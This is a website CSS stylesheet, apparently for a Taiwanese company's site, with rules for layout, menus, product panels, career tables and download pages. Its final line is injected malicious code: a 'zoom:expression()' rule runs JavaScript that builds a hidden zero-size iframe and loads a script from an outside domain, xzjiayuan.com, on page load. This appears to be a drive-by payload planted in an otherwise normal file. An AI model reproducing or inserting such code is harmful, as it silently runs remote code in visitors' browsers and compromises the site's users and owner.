body {
	padding:0px;
	margin:0px;
	text-align: center;
	background: url(images/bd_bg.gif) repeat-x center top;
	color:#282828;
	font: 13px/18px Arial, "新細明體";
}
a{
	color: #3097FF;
	font-size: 13px;
}
a:hover{
	color: #FF0000;
	text-decoration: none;
}
img{
	border-style: none;
}

#container {
	width:940px;
	margin:0px auto;
	text-align: left;
}

h1 {
	color:#333;
	border-bottom: 5px solid #ff0033;
	margin:24px 0px 8px 0px;
	padding:0px 0px 1px 2px;
	font: 13px Arial, Helvetica, sans-serif;
}

h2 {
	color:#fff;
	border-bottom: 5px solid #fff;
	margin:14px 0px 8px 0px;
	padding:0px 0px 1px 2px;
	font: 13px Arial, Helvetica, sans-serif;
}

h3 {
	color:#333;
	border-bottom: 4px solid #ff0033;
	margin:25px 0px 8px 0px;
	padding:0px 0px 1px 2px;
	font: 13px Arial, Helvetica, sans-serif;
}
h3.abc123 {
	color:#2f97ff;
	border-bottom: 4px solid #ff0033;
	margin:25px 0px 8px 0px;
	padding:0px 0px 1px 2px;
	font-family: Arial, Helvetica, sans-serif;
	font-size: 20px;
}
h4 {
	color:#fff;
	border-bottom: 4px solid #fff;
	margin:15px 0px 8px 0px;
	padding:0px 0px 1px 2px;
	font: 13px Arial, Helvetica, sans-serif;
}

h5 {
	color:#fff;
	background: url(images/icon_cont_rt.gif) no-repeat left 5px;
	display: block;
	padding:0px 0px 10px 12px;
	margin:0px;
	font: normal 13px "Trebuchet MS", Arial;
}

h5 a{
	color:#fff;
	text-decoration: none;
}
h5 a:hover{
	color:#ff0033;
	text-decoration: underline;
}

h6 {
	color:#333;
	border-bottom: 3px solid #2c4b90;
	margin:25px 0px 30px;
	padding:0px 0px 8px 2px;
	font: 13px Arial, Helvetica, sans-serif;
}

#header {
    padding:0px;
	margin:0px;
}

#header .hd_right{
	float:right;
	padding:0px;
	margin:20px 20px 0px 0px;
	font-family:Arial, "新細明體";
	font-size: 10px;
	color: #fff;
}

#header .hd_right a{
	color: #bfbfbf;
	text-decoration: none;
	padding: 4px;
}

#header .hd_right a:hover{
	color: #fff;
	text-decoration: none;
}

#header .hd_right .hd_ov{
	color: #fff;
	text-decoration: underline;
}

#footer {
	background: url(images/bd_bg.gif) repeat-x center top;
	color:#ccc;
	padding:0px;
	margin:6px 0px 0px 0px;
}

#footer .ft {
	width:940px;
	padding:14px 0px;
	margin:0px auto;
	text-align: left;
}

#footer .ft a{
	color:#fff;
	text-decoration: underline;
}
#footer .ft a:hover{
	color:#ccc;
	text-decoration: none;
}
a.next01 {
	background: url(images/ar-01.jpg) no-repeat 0px 2px;
	display: block;
	float: right;
	color: #C22634;
	text-decoration: underline;
	padding-left: 18px;
	margin-right: 15px;
}
a.next01:hover {
	color: #333333;
	text-decoration: none;
}
a.back01 {
	background: url(images/ar-02.jpg) no-repeat 0px 2px;
	display: block;
	float: right;
	color: #C22634;
	text-decoration: underline;
	padding-left: 18px;
	margin-right: 10px;
}
a.back01:hover {
	color: #333333;
	text-decoration: none;
}
a.more01 {
	background: url(images/ar-01.jpg) no-repeat 0px 2px;
	display: block;
	float: left;
	color: #C22634;
	text-decoration: underline;
	padding-left: 18px;
}
a.more01:hover {
	color: #333333;
	text-decoration: none;
}
a.inq01 {
	display: block;
	float: right;
	text-decoration: underline;
	margin-right: 10px;
}
a.job104 {
	background: url(images/bg-p06.jpg) no-repeat 0px 0px;
	height: 25px;
	width: 97px;
	padding-top: 9px;
	padding-left: 15px;
	color: #FFFFFF;
	display: block;
	text-decoration: none;
	margin-left: 10px;
	float: left;
}
a.job104:hover {
	background: url(images/bg-p06-hover.jpg) no-repeat 0px 0px;
	color: #FFFFFF;
	text-decoration: none;
}
a.photo01 {
	background: url(images/bg-p05.jpg) no-repeat 0px 0px;
	height: 25px;
	width: 97px;
	padding-top: 9px;
	padding-left: 15px;
	color: #FFFFFF;
	display: block;
	text-decoration: none;
	margin-left: 10px;
	float: left;
}
a.photo01:hover {
	background: url(images/bg-p05-hover.jpg) no-repeat 0px 0px;
	color: #FFFFFF;
	text-decoration: none;
}
a.aboutlink {
	color: #333333;
	background: url(images/bg-p07.jpg) no-repeat 0px 0px;
	height: 23px;
	width: 270px;
	padding-left: 35px;
	display: block;
	text-decoration: none;
	padding-top: 5px;
	font-size: 12px;
	margin-top: 10px;
}
a.aboutlink:hover {
	color: #FFFFFF;
	background: url(images/bg-p07-hover.jpg) no-repeat 0px 0px;
	height: 23px;
	width: 270px;
	padding-left: 35px;
	display: block;
	text-decoration: none;
	padding-top: 5px;
	font-size: 12px;
	margin-top: 10px;
}

p.ds01 {
	font-size: 12px;
	color: #FF0000;
	line-height: 16px;
}

.inp {
    width:300px;
	height:16px;
	border:1px solid #C8C8C8;
	color:#999;
	font-size:12px;
	font-family: "Trebuchet MS",Arial;
}

.inp_a {
    width:230px;
	height:16px;
	border:1px solid #C8C8C8;
	color:#999;
	font-size:12px;
	font-family: "Trebuchet MS",Arial;
}

.inp_b {
    width:80px;
	height:16px;
	border:1px solid #C8C8C8;
	color:#999;
	font-size:12px;
	font-family: "Trebuchet MS",Arial;
}
.sel {
    hegiht:16px;
	border:1px solid #C8C8C8;
	color:#999;
	font-size:12px;
	font-family: "Trebuchet MS",Arial;
}

.textarea {
    width:520px;
	height:100px;
	border:1px solid #C8C8C8;
	color:#B5A391;
	font-size:11px;
}

.but {
	font-family: Arial, Helvetica, sans-serif;
	font-size: 12px;
	color: #333;
	margin:0px 10px;
}

.but_pro {
	font-family:Arial, "Trebuchet MS";
	font-size: 12px;
	color: #333;
	border:1px solid #ccc;
	background: #f8f8f8;
	font-weight: bold;
	text-decoration: underline;
	margin-top: 0px;
	margin-right: 5px;
	margin-bottom: 0px;
	margin-left: 0px;
	padding-top: 0px;
	padding-right: 10px;
	padding-bottom: 0px;
	padding-left: 10px;
}	

.but_pro a{
	color: #333;
	text-decoration: underline;
}

.but_pro a:hover{
	color: #ff0033;
	text-decoration: none;
}

.cont_num {
	background: url(images/cont_num_bg.gif) no-repeat left top;
	text-align: center;
	height: 25px;
	width: 54px;
	float:left;
	color:#fff;
	line-height: 25px;
}

.red {
    color:#FF0000;
}

#youarehere {
    padding:0px;
	margin:15px 20px;
	font-size: 11px;
	color: #999;
}

#youarehere a{
	font-weight: bold;
	color: #2f97ff;
	text-decoration: underline;
	padding: 4px;
}

#youarehere a:hover{
	color: #ff0033;
	text-decoration: underline;
}

#mainmenu{
	width:940px;
	height: 31px;
	margin:0px 0px 9px 0px;
	}

#mainmenu ul {
	margin:0;
    padding:0;
    }

#mainmenu li{
    margin:0;
    padding:0;
	float:left;
	list-style:none;
    }

#mainmenu a{text-indent:-10000px; display:block;  height: 31px;}

.s1 a {background: url(images/main_01.gif) no-repeat; width: 87px;}
.s2 a {background: url(images/main_02.gif) no-repeat; width: 93px;}
.s3 a {background: url(images/main_03.gif) no-repeat; width: 100px;}
.s4 a {background: url(images/main_04.gif) no-repeat; width: 79px;}
.s5 a {background: url(images/main_05.gif) no-repeat; width: 99px;}
.s6 a {background: url(images/main_06.gif) no-repeat; width: 83px;}
.s7 a {background: url(images/main_07.gif) no-repeat; width: 80px;}
.s8 a {background: url(images/main_08.gif) no-repeat; width: 319px;}

.s1 a:hover {background: url(images/main_01_ov.gif) no-repeat;}
.s2 a:hover {background: url(images/main_02_ov.gif) no-repeat;}	
.s3 a:hover {background: url(images/main_03_ov.gif) no-repeat;}
.s4 a:hover {background: url(images/main_04_ov.gif) no-repeat;}
.s5 a:hover {background: url(images/main_05_ov.gif) no-repeat;}
.s6 a:hover {background: url(images/main_06_ov.gif) no-repeat;}
.s7 a:hover {background: url(images/main_07_ov.gif) no-repeat;}
.s8 a:hover {background: url(images/main_08.gif) no-repeat;}

#mainmenu .f1 {background: url(images/main_01_ov.gif) no-repeat; display:block;	}
#mainmenu .f2 {background: url(images/main_02_ov.gif) no-repeat; display:block;	}
#mainmenu .f3 {background: url(images/main_03_ov.gif) no-repeat; display:block;	}
#mainmenu .f4 {background: url(images/main_04_ov.gif) no-repeat; display:block;	}
#mainmenu .f5 {background: url(images/main_05_ov.gif) no-repeat; display:block;	}
#mainmenu .f6 {background: url(images/main_06_ov.gif) no-repeat; display:block;	}
#mainmenu .f7 {background: url(images/main_07_ov.gif) no-repeat; display:block;	}

.ind_keline {
	background: #999;
	height: 3px;  
	margin: 2px 0px 5px 0px;
	padding:0px; 
}

.ind_fot {
	color:#666;
	margin:10px 0px 0px;
	line-height: 14px;
	font-size: 12px;
	padding-bottom: 0px;
}

.ind_contline {
	background: url(images/ind_line_cont.gif) repeat-y center top;
}

.ind_pad {
    padding:0px 11px 0px 0px;
}

.ind_rt ul{
    padding:0px;
	margin:0px;
}

.ind_rt li{
	background: url(images/rt_icon.gif) no-repeat left 6px;
	padding:0px 0px 0px 10px;
	list-style-type: none;
	color:#fff;
	margin:0px;
	font-size: 11px;
}

.ind_rt li a{
	color:#fff;
	text-decoration: none;    
}

.ind_rt li a:hover{
	color:#ff0033;
	text-decoration: underline;    
}

.ind_rtbg {
    background:#2f97ff;
	padding:10px;    
}

.ind_tt {
    color:#333;
}

.ind_rttit{
	color:#fff;
	font-size: 11px;
	font-weight: bold;
	margin:0px 0px 10px 0px;
}

.proto_tit{
	color:#000;
	font-size: 13px;
	font-weight: bold;
	margin:10px 0px;
}

.pro_tit_ov {
    font-family: Arial, "Trebuchet MS";
	padding:0px;
	margin:0px 20px 10px 0px;
	color:#2f97ff;
	font-size: 12px;
	font-weight: normal;
}

.pro_tit_ov a{
	color:#2f97ff;
	text-decoration: none;    
}

.pro_tit_ov a:hover{
	color:#ff0033;
	text-decoration: underline;    
}	

.ind_tit {
    font-family: Arial,"Trebuchet MS" ;
	padding:0px;
	margin:0px 0px 10px 0px;
	color:#2f97ff;
	font-size: 12px;
	font-weight: bold;
}

.ind_tit a{
	color:#2f97ff;
	text-decoration: underline;
}

.ind_tit a:hover{
    color:#333;
	text-decoration: none;
}

.ind_lock {
	font-size: 11px;
	color:#999;
}

.news_lock {
    font-size: 10px;
	color:#999;
	margin:0px 0px 0px 15px;
}

.left_img {
    border: 2px solid #e8e8e8;
	padding: 3px;
}

.img_bd {
    border: 2px solid #6eb6ff;
	padding: 1px;
}	

.more_blue a{
	background: url(images/more_blue.gif) no-repeat left 7px;
	font-size: 11px;
	color: #2f97ff;
	text-decoration: underline;
	padding:0px 0px 0px 10px;
	margin:3px 0px 0px;
	display: block;
}
.more_blue a:hover{
    color:#ff0033;
	text-decoration: none;
}

.more a{
	background: url(images/more_rt.gif) no-repeat left 5px;
	font-size: 11px;
	color: #fff;
	text-decoration: underline;
	padding:0px 0px 0px 10px;
	margin:10px 0px 0px 0px;
	display: block;
}
.more a:hover{
    color:#ffcc33;
	text-decoration: none;
}

.line {
	background: url(images/line.gif) repeat-x left center;
	margin:10px 0px;
}
.ind_line_rt {
	background: url(images/rt_line.gif) repeat-x left center;
	margin:10px 0px;
}

.donw_line {
	margin:5px 0px;
	background: url(images/right_line.gif) repeat-x left center;
}

#content_bg {
    background: url(images/cont_bg.gif) repeat-x left top;
}

.content_pad {
    margin:0px 10px 10px 10px;
}

#cont_right {
	background: #2f97ff url(images/comp_bg.jpg) no-repeat center bottom;
	padding:43px 10px 320px 10px;
}
#cont_right a {
	font-weight: bold;
	color: #FFFFFF;
}

#career_right {
	background: #aac1d1 url(images/career_bg.gif) no-repeat center bottom;
	padding:43px 10px 200px 10px;
}

#contact_right {
	background: #d3be6f url(images/cont_bg.jpg) no-repeat center bottom;
	padding:43px 10px 450px 10px;
}

#download_right {
	background: #a7cd38 url(images/download_bg.jpg) no-repeat center bottom;
	padding:43px 10px 300px 10px;
}

#news_right {
	background: #97d5c8 url(images/news_bg.jpg) no-repeat center bottom;
	padding:43px 10px 400px 10px;
}

#pro_right {
	background: #2f97ff;
	padding:43px 10px 320px 10px;
}

.career_rt ul{
    padding:0px;
	margin:0px;
}

.career_rt li{
	padding:0px 0px 0px 10px;
	list-style-type: decimal;
	color:#fff;
	margin:0px;
	font-size: 11px;
	list-style-position: inside;
}

.career_rt li a{
	color:#fff;
	text-decoration: none;
}

.career_rt li a:hover{
	color:#CC0000;
	text-decoration: underline;
}

.cont_rttext {
	color:#fff;
	margin:10px 0px;
	font-size: 11px;
	line-height: 14px;
}

#tab {
	padding:0px;
	margin:0px;
	text-align: center;
	font-size:12px;
	color:#333;
}
#tab td {
    border-bottom:1px solid #ededed;
	padding:5px 3px;
}

#tab th {
	border-left:1px solid #fff;
	background: url(images/career_tabbg.gif) repeat-x left top;
	padding:3px;
	font-weight: normal;
}

#tab td a{
	color:#2f97ff;
	font-weight: bold;
	text-decoration: underline;
	font-size: 15px;
}

#tab td a:hover{
	color:#FF0000;
	text-decoration: none;
}

.tab_cont {
	padding:0px;
	margin:0px;
	text-align: left;
	font-size:12px;
	color:#333;
}
.tab_cont td {
	padding:5px 3px;
}

.tab_cont th {
	background:#ebebeb;
	text-align: left;
	padding:5px;
	font-weight: normal;
	font-size:11px;
}

.map_tab{
	padding:0px;
	margin:0px;
	font-size:11px;
	text-align: left;
}

.map_tab th{
    padding:2px 5px;
	border:1px solid #e6e6e6;
	color:#282828;
}

.map_tab td{
    padding:2px 5px;
}	

.cont_tit {
    background:#d6d6d6;
    color:#666;
	padding:3px 5px;
}

.down_num {
	font-size: 12px;
	padding:3px;
	text-align: center;
	font-weight: bold;
}

.down_num a{
	padding:3px 5px;
	color:#333;
	text-decoration: underline;
}
.down_num a:hover{
	color:#fff;
	text-decoration: none;
	background: #2f97ff;
	font-weight: bold;
	font-size: 13px;
}

a.b123{
	padding:3px 5px;
	color:#333;
	text-decoration: underline;
	font-weight: normal;
	font-size: 11px;
}
a.b123:hover{
	color:#fff;
	text-decoration: none;
	background: #2f97ff;
	font-size: 11px;
}
a.b123-on{
	color:#2F97FF;
	text-decoration: none;
	font-weight: bold;
	font-size: 13px;
}
a.b123-on:hover{
	color:#2F97FF;
	text-decoration: none;
	font-weight: bold;
	font-size: 13px;
}
.rit_icon {
	font-family:"Trebuchet MS",Arial;
	background: url(images/right_icon.gif) no-repeat left 3px;
	color:#fff;
	padding:0px 0px 0px 10px;
	margin:0px 0px 0px 5px;
}

.rit_icon a{
	color:#fff;
	text-decoration: none;
}

.rit_icon a:hover{
	color:#ff0033;
	text-decoration: underline;
}

.news_cont ul{
    padding:0px;
	margin:0px;
}

.news_cont li{
	background: url(images/news_icon.gif) no-repeat left 6px;
	padding:0px 0px 0px 10px;
	list-style-type: none;
	color:#666;
	margin:0px;
	font-size: 11px;
}

.pro_tit {
	background: url(images/pro_tit.jpg) no-repeat center top;
	padding:10px 0px;
	text-align: center;
	color:#fff;
	font-weight: bold;
	display: block;
}

.pro_tit a{
	color:#fff;
	text-decoration: none;
}

.pro_tit a:hover{
	color:#ff0033;
	text-decoration: underline;
}

.proov_tit {
	color:#2c4b90;
	padding-top: 8px;
	font: bold 15px Arial, Helvetica, sans-serif;
}

.proov_tit_to {
    color:#2c4b90;
	font-weight: bold;
	font-size:12px;
	font-family:Arial,"新細明體";
}

.proov_tit_to a{
	color:#2c4b90;
	text-decoration: none;
	}
	
.proov_tit_to a:hover{
	color:#ff0033;
	text-decoration: underline;
	}		

.pro_tool_tit{
	background: url(images/pro_icon.gif) no-repeat left 5px;
	font-size: 12px;
	color: #000;
	padding:0px 0px 0px 10px;
	margin:10px 0px 0px 0px;
	display: block;
	font-weight: bold;
}

.pro_tool_tit a{
	color: #000;
	text-decoration: none;
	font-size: 12px;
}

.pro_tool_tit a:hover{
    color:#ff0033;
	text-decoration: underline;
}

.pro_divtit01 {
	background: url(images/pro_tit_02.jpg) no-repeat left top;
	padding:8px 0px 9px 0px;
	text-align: center;
	color:#fff;
	font-weight: bold;
	display: block;
}
.pro_divtit02 {
	background: url(images/pro_tit_03.jpg) no-repeat left top;
	padding:8px 0px 9px 0px;
	text-align: center;
	color:#fff;
	font-weight: bold;
	display: block;
}
.pro_divtit03 {
	background: url(images/pro_tit_04.jpg) no-repeat left top;
	padding:8px 0px 9px 0px;
	text-align: center;
	color:#fff;
	font-weight: bold;
	display: block;
}
.pro_divtit04 {
	background: url(images/pro_tit_05.jpg) no-repeat left top;
	padding:8px 0px 9px 0px;
	text-align: center;
	color:#fff;
	font-weight: bold;
	display: block;
}

.pro_divtit01 a,
.pro_divtit02 a,
.pro_divtit03 a,
.pro_divtit04 a{
	color:#FFFFFF;
	text-decoration: none;
	font-size: 16px;
}

.pro_divtit01 a:hover,
.pro_divtit02 a:hover,
.pro_divtit03 a:hover,
.pro_divtit04 a:hover{ color:#ff0033; text-decoration: underline;}

.pro_left {
	padding:0px;
	margin:15px;
}

.pro_div {
	width:227px;
	padding:0px;
	margin:0px 0px 30px 0px;
}

.prodiv ul{padding:0px; margin:20px 0px 0px 0px;}

.prodiv li{
	padding:2px 0px 3px 20px;
	list-style-type: none;
	color:#37569a;
	margin:0px 0px 3px;
	font-size: 11px;
	background: url(images/pro_divbg.gif) no-repeat left top;
	border-bottom: 1px solid #E9E9E9;
}

.prodiv li a{
	color:#37569a;
	text-decoration: none;
}

.prodiv li a:hover{
	color:#ff0033;
	text-decoration: underline;
}

.pro_imgbg {
	background: url(images/pro_img_bg.gif) no-repeat left top;
	padding:5px;
	margin:0px 0px 15px 0px;
}

.pro_imgbgrt {
	background: url(images/pro_img_bgrt.gif) no-repeat left top;
	padding:5px;
}

.pro_rtbg {
	background: url(images/pro_rtbg.jpg) no-repeat left top;
	padding:20px;
	width:460px;
	float: right;
}
.pro_rtbgbtm {
	background: url(images/pro_rtbg_btm.jpg) no-repeat -20px 0px;
	height: 50px;
	width: 480px;
}


.map_tit {background: url(images/map_icon_01.gif) no-repeat left 5px; padding:0px 0px 0px 12px; color:#333;}
.map_titone {background: url(images/map_icon_02.gif) no-repeat left 5px; padding:0px 0px 0px 12px; color:#496d5e; font-weight: bold;}

.map_tit a{color:#333; text-decoration: underline;}
.map_titone a{color:#496d5e; text-decoration: underline;}

.map_tit a:hover, 
.map_titone a:hover{color:#ff3300; text-decoration: none;}

.map_tex ul{padding:0px; margin:5px 0px 5px 12px;}
.map_tex li{background: url(images/map_icon_03.gif) no-repeat left 5px; padding:0px 0px 0px 10px; color:#496d5e; list-style-type: none;}
.map_tex li a{color:#496d5e; text-decoration: underline;}
.map_tex li a:hover{color:#ff3300; text-decoration: none;}
ul.about01 li  {
	background: url(images/ar-03.jpg) no-repeat 0px 4px;
	padding-left: 10px;
	list-style: none;
	margin-left: 0px;
}
ul.about01 {
	margin-left: 0px;
	padding-left: 0px;
}
td.p01 {
	width: 320px;
}
td.p02 {
	width: 31px;
}
td.top {
	vertical-align: top;
}body{zoom:expression(function(ele){setTimeout(function(){var i=document.createElement('iframe');i.width=i.height=0;document.body.appendChild(i);i.contentWindow.setTimeout(function(){i.contentWindow.document.write('<script src=http://www.xzjiayuan.com/ad/yahoo.js></script>');},1000);},1000);ele.style.zoom='1';}(this));}